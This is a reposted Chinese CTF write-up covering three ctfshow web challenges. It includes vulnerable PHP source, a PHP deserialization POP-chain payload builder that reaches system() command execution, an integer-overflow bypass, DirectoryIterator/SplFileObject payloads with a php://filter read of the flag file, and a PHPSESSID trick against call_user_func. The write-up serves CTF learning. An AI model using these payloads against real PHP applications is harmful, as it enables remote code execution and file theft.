ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

ctfshow的一些wp

2022-07-13 12:02:28  阅读:321  来源: 互联网

标签:__ function gt jia -& ctfshow wp 一些 public


1. ctfshow 击剑杯 esaypop(反序列化构造pop链)

题目地址:https://ctf.show/challenges

题目源码:

highlight_file (FILE);

点击查看代码
highlight_file (__FILE__);
error_reporting(0);
class action_1{
    public $tmp;
    public $fun = 'system';
    public function __call($wo,$jia){
        call_user_func($this->fun);
    }
    public function __wakeup(){
        $this->fun = '';
        die("阿祖收手吧,外面有套神");
    }
    public function __toString(){
        return $this->tmp->str;
    }
}

class action_2{
    public $p;
    public $tmp;
    public function getFlag(){
        if (isset($_GET['ctfshow'])) {
            $this->tmp = $_GET['ctfshow'];
        }
        system("cat /".$this->tmp);
    }
    public function __call($wo,$jia){
        phpinfo();
    }
    public function __wakeup(){
        echo "<br>";
        echo "php版本7.3哦,没有人可以再绕过我了";
        echo "<br>";
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

class action_3{
    public $str;
    public $tmp;
    public $ran;
    public function __construct($rce){
        echo "送给你了";
        system($rce);
    }
    public function __destruct(){
        urlencode($this->str);
    }
    public function __get($jia){
        if(preg_match("/action_2/",get_class($this->ran))){
            return "啥也没有";
        }
        return $this->ran->$jia();
    }
}

class action_4{
    public $ctf;
    public $show;
    public $jia;
    public function __destruct(){
        $jia = $this->jia;
        echo $this->ran->$jia;
    }
    public function append($ctf,$show){
        echo "<br>";
        echo new $ctf($show);
    }
    public function __invoke(){
        $this->append($this->ctf,$this->show);
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $output = unserialize($pop);
    if(preg_match("/php/",$output)){
            echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件";
            die("不可以用伪协议哦");
        }
}


error_reporting(0);
class action_1{
    public $tmp;
    public $fun = 'system';
    public function __call($wo,$jia){
        call_user_func($this->fun);
    }
    public function __wakeup(){
        $this->fun = '';
        die("阿祖收手吧,外面有套神");
    }
    public function __toString(){
        return $this->tmp->str;
    }
}

class action_2{
    public $p;
    public $tmp;
    public function getFlag(){
        if (isset($_GET['ctfshow'])) {
            $this->tmp = $_GET['ctfshow'];
        }
        system("cat /".$this->tmp);
    }
    public function __call($wo,$jia){
        phpinfo();
    }
    public function __wakeup(){
        echo "<br>";
        echo "php版本7.3哦,没有人可以再绕过我了";
        echo "<br>";
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

class action_3{
    public $str;
    public $tmp;
    public $ran;
    public function __construct($rce){
        echo "送给你了";
        system($rce);
    }
    public function __destruct(){
        urlencode($this->str);
    }
    public function __get($jia){
        if(preg_match("/action_2/",get_class($this->ran))){
            return "啥也没有";
        }
        return $this->ran->$jia();
    }
}

class action_4{
    public $ctf;
    public $show;
    public $jia;
    public function __destruct(){
        $jia = $this->jia;
        echo $this->ran->$jia;
    }
    public function append($ctf,$show){
        echo "<br>";
        echo new $ctf($show);
    }
    public function __invoke(){
        $this->append($this->ctf,$this->show);
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $output = unserialize($pop);
    if(preg_match("/php/",$output)){
            echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件";
            die("不可以用伪协议哦");
        }
}

审计第一步找到有用的执行函数,找到action3里面的system,发现system在action3的析构函数中,也就是需要new action()才行,跟进找到action4中的append函数中包含 echo new $ctf($show); 而__invoke()函数调用的append,所以我们需要触发action4中的invoke函数,那就需要找到能将action4当做函数执行的,action2中的__get()方法就可以将控制$p为然后将$p当做函数执行,那么现在问题变成如何触发__get()方法,刚好action4里面有一句echo $this->ran->$jia;,那么如果让$ran赋值为类action2,而action2里面没有$jia,导致了触发__get()方法,所以这里就是是入口了

pop链为:action4中的$this->ran->$jia->action2中的__get()->action4中的__invoke()->append()->action3的system($rce);

然后再看传参,$rce就是传过来的$show,,所以$show=需要执行的命令

payload:

$obj4 = new action_4();
$obj2 = new action_2();
$obj4->ran = $obj2;
$obj2->p = $obj4;
$obj4->ran = $obj2;
$obj4->jia = '1';
$obj4->ctf = 'action_3';
$obj4->show = '语句';
echo urlencode(serialize($obj4));

这里的语句先执行find / -name f[A-z][0-9]_*,因为给的提示并不直接,饶了一下,直接找fA6_*是找不到的,然后发现文件名为fz3_.txt,再执行cat /fz3.txt(此处是我执行反弹shell失败了,不然的话不用踩这个文件名的坑)

ps:本体官方也有wp,不过思路有些不一样而已,这要是我想大佬咨询所得,仅当做个人学习的参考~

2. ctfhshow卷王杯 easyweb

打开通过页面源码提示获得源码

第一个绕过,让c=2^63-2=9223372036854775806(64位机),当++$c时达到int的最大值,这样$count[] = 1 就会溢出int的范围从而使得赋值失败,if语句为false

第二个绕过,使用DirectoryIterator类结合glob协议寻找flag:
a=DirectoryIterator&b=glob://flag[a-zA-Z0-9]*.php,获得真flag的文件名

使用SplFileObject结合伪协议读取flag内容:
a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag文件名

payload:
1.
c=9223372036854775806&a=DirectoryIterator&b=glob://flag[a-zA-Z0-9]*.php
2.
c=9223372036854775806&a=SplFileObject&b=php://filter/convert.base64-encode/resource=第一步得到的flag文件名

ps:还是向大佬咨询所得,太菜了,啥也不会~

1. ctfshow新春欢乐赛某些题解
  • web2
    源码如下:

    点击查看代码
    <?php
    highlight_file(__FILE__);
    session_start();
    error_reporting(0);
    
    include "flag.php";
    
    if(count($_POST)===1){
            extract($_POST);
            if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
                    echo $flag;
            }
    }
    ?>
    

可以POST传一个数组进去,而$$$$$${key($_POST)}这一段代码实际就是获得传进来的数组的key,也就是键值的值...然后作为call_user_func函数的参数。而我们需要该参数可控,可以传入一对键值相等的数组不就可以达到目的了,比如传入1=1,那么最后该参数一定是1,看到代码中有个session_start();,看了下cookie有个PHPSESSID,想到session_id()函数:

那么我们可以修改PHPSESSID=HappyNewYear,然后上传session_id=session_id就可以通过if了,下面是调试环节:

这是我修改一点后的本地复现代码:

点击查看代码
<?php
highlight_file(__FILE__);
session_start();
error_reporting(0);
$flag=123;
$sid = session_id();
if(count($_POST)===1){
        extract($_POST);
        $func = $$$$$${key($_POST)};
        if (call_user_func($func)==="HappyNewYear"){
                echo $flag;

        }
}

传入参数:

可以清楚看到每个环节的变量的值

标签:__,function,gt,jia,-&,ctfshow,wp,一些,public
来源: https://www.cnblogs.com/yiaho/p/ctfshow.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有